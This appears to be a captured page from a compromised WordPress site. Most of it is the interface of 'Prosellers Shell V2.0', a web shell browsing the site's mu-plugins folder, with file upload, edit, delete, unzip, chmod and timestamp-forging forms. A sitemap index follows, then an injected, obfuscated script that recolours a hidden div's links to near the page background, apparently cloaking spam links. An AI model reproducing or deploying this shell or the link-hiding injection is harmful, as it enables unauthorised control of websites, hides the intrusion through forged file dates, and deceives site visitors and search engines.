<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Prosellers Shell V2.0</title>
    <style>
        :root {
            --bg-body: #0f1115;
            --bg-sidebar: #161b22;
            --bg-card: #1f2937;
            --bg-hover: #374151;
            --text-main: #f3f4f6;
            --text-muted: #9ca3af;
            --accent: #10b981;
            --accent-hover: #059669;
            --danger: #ef4444;
            --border: #374151;
        }
        * { box-sizing: border-box; outline: none; }
        body { margin: 0; font-family: 'Inter', system-ui, -apple-system, sans-serif; background: var(--bg-body); color: var(--text-main); font-size: 14px; display: flex; height: 100vh; overflow: hidden; }
        a { text-decoration: none; color: inherit; transition: 0.2s; }
        
        /* Sidebar */
        .sidebar { width: 250px; background: var(--bg-sidebar); border-right: 1px solid var(--border); display: flex; flex-direction: column; padding: 20px; flex-shrink: 0; }
        .brand { font-size: 18px; font-weight: bold; color: var(--accent); margin-bottom: 30px; display: flex; align-items: center; gap: 10px; }
        .nav-link { display: flex; align-items: center; gap: 10px; padding: 12px; border-radius: 8px; color: var(--text-muted); margin-bottom: 5px; }
        .nav-link:hover, .nav-link.active { background: var(--bg-card); color: var(--text-main); }
        .nav-link svg { opacity: 0.8; }
        
        /* Main Content */
        .main { flex: 1; display: flex; flex-direction: column; overflow: hidden; }
        .header { height: 60px; border-bottom: 1px solid var(--border); display: flex; align-items: center; justify-content: space-between; padding: 0 20px; background: var(--bg-sidebar); }
        .breadcrumbs { display: flex; align-items: center; gap: 8px; color: var(--text-muted); overflow: hidden; white-space: nowrap; }
        .breadcrumbs a:hover { color: var(--accent); }
        .breadcrumb-sep { opacity: 0.4; }
        
        .toolbar { padding: 20px; display: flex; gap: 10px; align-items: center; flex-wrap: wrap; }
        .btn { border: none; padding: 8px 16px; border-radius: 6px; font-weight: 500; cursor: pointer; display: inline-flex; align-items: center; gap: 8px; font-size: 13px; transition: 0.2s; }
        .btn-primary { background: var(--accent); color: white; }
        .btn-primary:hover { background: var(--accent-hover); }
        .btn-secondary { background: var(--bg-card); color: var(--text-main); border: 1px solid var(--border); }
        .btn-secondary:hover { background: var(--bg-hover); }
        .btn-danger { background: rgba(239, 68, 68, 0.1); color: var(--danger); border: 1px solid transparent; }
        .btn-danger:hover { background: rgba(239, 68, 68, 0.2); }
        
        /* File List */
        .content-area { flex: 1; overflow-y: auto; padding: 0 20px 20px 20px; }
        .file-table { width: 100%; border-collapse: collapse; }
        .file-table th { text-align: left; padding: 12px; color: var(--text-muted); font-weight: 500; border-bottom: 1px solid var(--border); position: sticky; top: 0; background: var(--bg-body); z-index: 10; }
        .file-table td { padding: 12px; border-bottom: 1px solid var(--border); color: var(--text-main); }
        .file-table tr:hover { background: rgba(255,255,255,0.02); }
        .file-icon { color: var(--accent); display: flex; align-items: center; }
        .file-icon.file { color: var(--text-muted); }
        .name-cell { display: flex; align-items: center; gap: 10px; font-weight: 500; }
        
        /* Forms & Inputs */
        input[type="text"], textarea { background: var(--bg-card); border: 1px solid var(--border); color: var(--text-main); padding: 8px 12px; border-radius: 6px; width: 100%; }
        input:focus, textarea:focus { border-color: var(--accent); }
        .modal-overlay { position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: rgba(0,0,0,0.7); display: none; align-items: center; justify-content: center; z-index: 100; backdrop-filter: blur(2px); }
        .modal { background: var(--bg-sidebar); padding: 25px; border-radius: 12px; width: 400px; max-width: 90%; border: 1px solid var(--border); box-shadow: 0 10px 25px rgba(0,0,0,0.5); }
        .modal h3 { margin-top: 0; color: var(--text-main); }
        
        /* Utilities */
        .badge { padding: 4px 8px; border-radius: 4px; background: var(--bg-card); font-size: 11px; }
        .actions { display: flex; gap: 8px; }
        .icon-btn { padding: 6px; border-radius: 4px; color: var(--text-muted); cursor: pointer; border: none; background: transparent; }
        .icon-btn:hover { background: var(--bg-hover); color: var(--text-main); }
        
        /* Editor */
        .editor-container { height: 100%; display: flex; flex-direction: column; }
        .editor-textarea { flex: 1; font-family: 'Menlo', 'Monaco', 'Courier New', monospace; font-size: 13px; line-height: 1.5; resize: none; border: 1px solid var(--border); background: #0d1117; color: #c9d1d9; padding: 15px; }

        /* Mobile Responsiveness */
        #menu-btn { display: none; background: none; border: none; color: var(--text-primary); cursor: pointer; margin-bottom: 20px; }
        .mobile-overlay { position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: rgba(0,0,0,0.5); z-index: 900; display: none; }
        
        @media (max-width: 768px) {
            body { font-size: 13px; }
            #menu-btn { display: block; }
            .sidebar { position: fixed; left: -260px; top: 0; bottom: 0; width: 260px; z-index: 1000; transition: left 0.3s ease; box-shadow: 2px 0 10px rgba(0,0,0,0.5); border-right: 1px solid var(--border); }
            .sidebar.open { left: 0; }
            .mobile-overlay.open { display: block; }
            .main { padding: 10px; width: 100%; }
            .table-container { overflow-x: auto; }
            table { min-width: 500px; }
            .modal { width: 95%; padding: 15px; }
            .toolbar { flex-wrap: nowrap; gap: 5px; overflow-x: auto; padding-bottom: 5px; }
            .toolbar button { padding: 6px 8px; font-size: 12px; white-space: nowrap; flex: 0 0 auto; }
            .toolbar div[style*="flex:1"] { display: none; } 
            
            /* Header Mobile */
            .header { padding: 0 10px; gap: 10px; }
            .breadcrumbs { flex: 1; overflow-x: auto; font-size: 12px; margin: 0; min-width: 0; -webkit-overflow-scrolling: touch; }
            .breadcrumbs > * { flex-shrink: 0; }
            .badge { font-size: 10px; padding: 4px 6px; white-space: nowrap; }
        }
    </style>
</head>
<body>

<div class="mobile-overlay" onclick="toggleSidebar()"></div>

<!-- SIDEBAR -->
<div class="sidebar">
    <div class="brand">
        <svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"></polyline><line x1="12" y1="19" x2="20" y2="19"></line></svg>        <span>ProShell v2.0</span>
    </div>
    <a href="?path=%2F" class="nav-link ">
        <svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"></path><polyline points="9 22 9 12 15 12 15 22"></polyline></svg> Dashboard
    </a>
    <a href="?view=server_info" class="nav-link ">
        <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="2" y="2" width="20" height="8" rx="2" ry="2"></rect><rect x="2" y="14" width="20" height="8" rx="2" ry="2"></rect><line x1="6" y1="6" x2="6.01" y2="6"></line><line x1="6" y1="18" x2="6.01" y2="18"></line></svg> Server Info
    </a>
    <div style="margin-top:auto; font-size: 11px; color: var(--text-muted);">
        Server: 127.0.0.80<br>
        PHP: 8.3.31    </div>
</div>

<!-- MAIN CONTENT -->
<div class="main">
    
    <!-- TOP BAR -->
    <div class="header">
        <button id="menu-btn" onclick="toggleSidebar()"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="3" y1="12" x2="21" y2="12"></line><line x1="3" y1="6" x2="21" y2="6"></line><line x1="3" y1="18" x2="21" y2="18"></line></svg></button>
        <div class="breadcrumbs">
            <a href="?path=%2Fhome">home</a><span class="breadcrumb-sep"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"></polyline></svg></span><a href="?path=%2Fhome%2Fclients">clients</a><span class="breadcrumb-sep"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"></polyline></svg></span><a href="?path=%2Fhome%2Fclients%2F08ce2314c3c7e396ea36e41d2a860c5e">08ce2314c3c7e396ea36e41d2a860c5e</a><span class="breadcrumb-sep"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"></polyline></svg></span><a href="?path=%2Fhome%2Fclients%2F08ce2314c3c7e396ea36e41d2a860c5e%2Fsites">sites</a><span class="breadcrumb-sep"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"></polyline></svg></span><a href="?path=%2Fhome%2Fclients%2F08ce2314c3c7e396ea36e41d2a860c5e%2Fsites%2Ffilmerletravail.org">filmerletravail.org</a><span class="breadcrumb-sep"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"></polyline></svg></span><a href="?path=%2Fhome%2Fclients%2F08ce2314c3c7e396ea36e41d2a860c5e%2Fsites%2Ffilmerletravail.org%2Fwp-content">wp-content</a><span class="breadcrumb-sep"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"></polyline></svg></span><a href="?path=%2Fhome%2Fclients%2F08ce2314c3c7e396ea36e41d2a860c5e%2Fsites%2Ffilmerletravail.org%2Fwp-content%2Fmu-plugins">mu-plugins</a>        </div>
        <div>
            <span class="badge">2026-08-07 21:00:10</span>
        </div>
    </div>

    <!-- CONTENT -->
    <div class="content-area">
        
                    <!-- EDITOR VIEW -->
            <form method="post" class="editor-container" style="padding: 20px 0; height: calc(100vh - 100px);">
                <div style="margin-bottom: 10px; display: flex; justify-content: space-between;">
                    <h3 style="margin:0;">Editing: inquiry</h3>
                    <div class="actions">
                        <a href="?path=%2Fsys%2Fdevices%2Fpci0000%3Ac0%2F0000%3Ac0%3A01.1%2F0000%3Ac1%3A00.0%2Fhost0%2Ftarget0%3A3%3A109%2F0%3A3%3A109%3A0" class="btn btn-secondary">Cancel</a>
                        <button type="submit" class="btn btn-primary">Save Changes</button>
                    </div>
                </div>
                <input type="hidden" name="file" value="/sys/devices/pci0000:c0/0000:c0:01.1/0000:c1:00.0/host0/target0:3:109/0:3:109:0/inquiry">
                <textarea name="content" class="editor-textarea">  [  HPE     MR216i-p Gen11  5.32                                                            </textarea>
            </form>

            </div>
</div>

<!-- MODALS -->

<!-- Upload Modal -->
<div id="uploadModal" class="modal-overlay" onclick="if(event.target===this)this.style.display='none'">
    <div class="modal">
        <h3>Upload Files</h3>
        <form method="post" enctype="multipart/form-data">
            <input type="file" name="uploads[]" multiple style="margin-bottom: 15px;">
            <div style="text-align: right;">
                <button type="button" class="btn btn-secondary" onclick="document.getElementById('uploadModal').style.display='none'">Cancel</button>
                <button type="submit" name="upload" class="btn btn-primary">Upload</button>
            </div>
        </form>
    </div>
</div>

<!-- Create Modal -->
<div id="createModal" class="modal-overlay" onclick="if(event.target===this)this.style.display='none'">
    <div class="modal">
        <h3 id="createTitle">Create New</h3>
        <form method="post">
            <input type="text" name="name" placeholder="Name" style="margin-bottom: 15px;" required>
            <input type="hidden" name="create" id="createType">
            <div style="text-align: right;">
                <button type="button" class="btn btn-secondary" onclick="document.getElementById('createModal').style.display='none'">Cancel</button>
                <button type="submit" class="btn btn-primary">Create</button>
            </div>
        </form>
    </div>
</div>

<!-- Chmod Modal -->
<div id="chmodModal" class="modal-overlay" onclick="if(event.target===this)this.style.display='none'">
    <div class="modal">
        <h3>Change Permissions</h3>
        <form method="post">
            <input type="hidden" name="action" value="chmod">
            <input type="hidden" name="file" id="chmodFile">
            <input type="text" name="perms" id="chmodPerms" placeholder="0755" style="margin-bottom: 15px;" required pattern="[0-7]{3,4}">
            <div style="text-align: right;">
                <button type="button" class="btn btn-secondary" onclick="document.getElementById('chmodModal').style.display='none'">Cancel</button>
                <button type="submit" class="btn btn-primary">Save</button>
            </div>
        </form>
    </div>
</div>

<!-- Touch Modal -->
<div id="touchModal" class="modal-overlay" onclick="if(event.target===this)this.style.display='none'">
    <div class="modal">
        <h3>Change Date</h3>
        <form method="post">
            <input type="hidden" name="action" value="touch">
            <input type="hidden" name="file" id="touchFile">
            <input type="datetime-local" name="datetime" id="touchDate" style="margin-bottom: 15px;" required step="1">
            <div style="text-align: right;">
                <button type="button" class="btn btn-secondary" onclick="document.getElementById('touchModal').style.display='none'">Cancel</button>
                <button type="submit" class="btn btn-primary">Save</button>
            </div>
        </form>
    </div>
</div>

    </div>
</div>

<!-- Rename Modal -->
<div id="renameModal" class="modal-overlay" onclick="if(event.target===this)this.style.display='none'">
    <div class="modal">
        <h3>Rename Item</h3>
        <form method="post">
            <input type="hidden" name="action" value="rename">
            <input type="hidden" name="oldname" id="renameOldName">
            <input type="text" name="newname" id="renameNewName" placeholder="New Name" style="margin-bottom: 15px;" required>
            <div style="text-align: right;">
                <button type="button" class="btn btn-secondary" onclick="document.getElementById('renameModal').style.display='none'">Cancel</button>
                <button type="submit" class="btn btn-primary">Save</button>
            </div>
        </form>
    </div>
</div>

<!-- Delete Confirmation Modal -->
<div id="deleteModal" class="modal-overlay" onclick="if(event.target===this)this.style.display='none'">
    <div class="modal">
        <h3>Confirm Delete</h3>
        <p>Are you sure you want to delete the selected items?</p>
        <div style="text-align: right; margin-top: 20px;">
            <button type="button" class="btn btn-secondary" onclick="document.getElementById('deleteModal').style.display='none'">Cancel</button>
            <button type="button" class="btn btn-danger" onclick="document.getElementById('deleteForm').submit()">Delete</button>
        </div>
    </div>
</div>



<!-- Unzip Hidden Form -->
<form method="post" id="unzipForm" style="display:none;">
    <input type="hidden" name="action" value="unzip">
    <input type="hidden" name="file" id="unzipFile">
</form>

<script>
function toggleSelectAll(source) {
    document.getElementsByName("selected_files[]").forEach(cb => cb.checked = source.checked);
}

function openCreateModal(type) {
    document.getElementById('createTitle').innerText = 'Create New ' + (type === 'file' ? 'File' : 'Folder');
    document.getElementById('createType').value = type;
    document.getElementById('createModal').style.display = 'flex';
    document.querySelector('#createModal input[type="text"]').focus();
}

function renameItem(oldName) {
    document.getElementById('renameOldName').value = oldName;
    document.getElementById('renameNewName').value = oldName;
    document.getElementById('renameModal').style.display = 'flex';
    document.getElementById('renameNewName').focus();
}

function unzipItem(fileName) {
    if (confirm("Are you sure you want to unzip " + fileName + " here?")) {
        document.getElementById('unzipFile').value = fileName;
        document.getElementById('unzipForm').submit();
    }
}

function touchItem(fileName, currentData) {
    document.getElementById('touchFile').value = fileName;
    document.getElementById('touchDate').value = currentData;
    document.getElementById('touchModal').style.display = 'flex';
}

function confirmDelete() {
    const checked = document.querySelectorAll('input[name="selected_files[]"]:checked');
    if (checked.length === 0) {
        alert("Please select files to delete.");
        return;
    }
    document.getElementById('deleteModal').style.display = 'flex';
}

function chmodItem(fileName, currentPerms) {
    document.getElementById('chmodFile').value = fileName;
    document.getElementById('chmodPerms').value = currentPerms;
    document.getElementById('chmodModal').style.display = 'flex';
    document.getElementById('chmodPerms').focus();
}

// Success Popup Check
window.onload = function() {
    const urlParams = new URLSearchParams(window.location.search);
    const msg = urlParams.get('msg');
    
    const messages = {
        'created': 'Success: Item Created',
        'saved': 'Success: File Saved',
        'uploaded': 'Success: File(s) Uploaded',
        'deleted': 'Success: Item(s) Deleted',
        'unzipped': 'Success: Archive Extracted',
        'date_changed': 'Success: Date Updated',
        'perms_changed': 'Success: Permissions Updated'
    };

    if (messages[msg]) {
        const div = document.createElement('div');
        div.style.position = 'fixed';
        div.style.bottom = '20px';
        div.style.right = '20px';
        div.style.background = 'var(--accent)';
        div.style.color = '#fff';
        div.style.padding = '12px 24px';
        div.style.borderRadius = '6px';
        div.style.boxShadow = '0 4px 6px rgba(0,0,0,0.3)';
        div.style.zIndex = '1000';
        div.textContent = messages[msg];
        document.body.appendChild(div);
        setTimeout(() => div.remove(), 3000);
    }
};

function toggleSidebar() {
    document.querySelector('.sidebar').classList.toggle('open');
    document.querySelector('.mobile-overlay').classList.toggle('open');
}
</script>

</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://filmerletravail.org/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://filmerletravail.org/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://filmerletravail.org/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://filmerletravail.org/wp-sitemap-posts-film-1.xml</loc></sitemap><sitemap><loc>https://filmerletravail.org/wp-sitemap-posts-evenement-1.xml</loc></sitemap><sitemap><loc>https://filmerletravail.org/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://filmerletravail.org/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://filmerletravail.org/wp-sitemap-taxonomies-section-1.xml</loc></sitemap><sitemap><loc>https://filmerletravail.org/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
<style>#xf-77-948974 a{text-decoration:none!important;color:inherit!important}</style><div id="xf-77-948974" style="width:100%;background-color:#ffffff;color:#fefefe;text-align:center;font-size:12px;padding:5px 0;z-index:99999;position:relative;line-height:1.2;"></div><script>(function(){try{var d=document.getElementById("xf-77-948974");if(!d)return;function g(e){if(!e)return null;try{var s=window.getComputedStyle(e);var b=s.backgroundColor;if(b&&b!=="rgba(0,0,0,0)"&&b!=="transparent")return b}catch(x){}return null}var f=null;var S=["footer","#footer",".site-footer",".footer","#colophon",".elementor-location-footer"];for(var i=0;i<S.length;i++){try{var e=document.querySelector(S[i]);var b=g(e);if(b){f=b;break}}catch(x){}}if(!f){try{var A=document.querySelectorAll("section,div,aside");for(var i=A.length-1;i>=0;i--){var e=A[i];if(e.offsetHeight>10){var r=e.getBoundingClientRect();if(r.bottom>=window.innerHeight-200){var b=g(e);if(b){f=b;break}}}}}catch(x){}}if(!f)f=g(document.body);if(!f)f="rgb(255,255,255)";var m=f.match(/\\d+/g);var r=255,g=255,b=255;if(m&&m.length>=3){r=parseInt(m[0]);g=parseInt(m[1]);b=parseInt(m[2])}var r2=r>2?r-2:r+2;var g2=g>2?g-2:g+2;var b2=b>2?b-2:b+2;var c="rgb("+r2+","+g2+","+b2+")";d.style.backgroundColor=f;d.style.color=c;var l=d.getElementsByTagName("a");for(var i=0;i<l.length;i++)l[i].style.color=c}catch(x){}})();</script>